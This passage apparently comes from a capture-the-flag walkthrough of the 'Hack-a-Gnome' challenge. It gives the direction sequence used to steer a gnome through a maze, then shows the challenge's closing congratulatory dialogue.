I’ll head back to the right, and push up:

image-20251231145246572

Now push left:

image-20251231145315481

This leaves a clear path to the top:

image-20251231145343110

The full path I took is DLDLDRDDLLLULULRULUUL:

image-20251231145730940

Outro

Hack-a-Gnome

Congratulations! You have completed the Hack-a-Gnome challenge!

Chris sees a way forward in our mission to stop the gnomes:

Chris Davis

Chris Davis

Excellent work! You’ve successfully taken control of the gnome - look at that interface responding to our commands now.

Time to turn this little rebel against its own manufacturing operation and shut them down for good!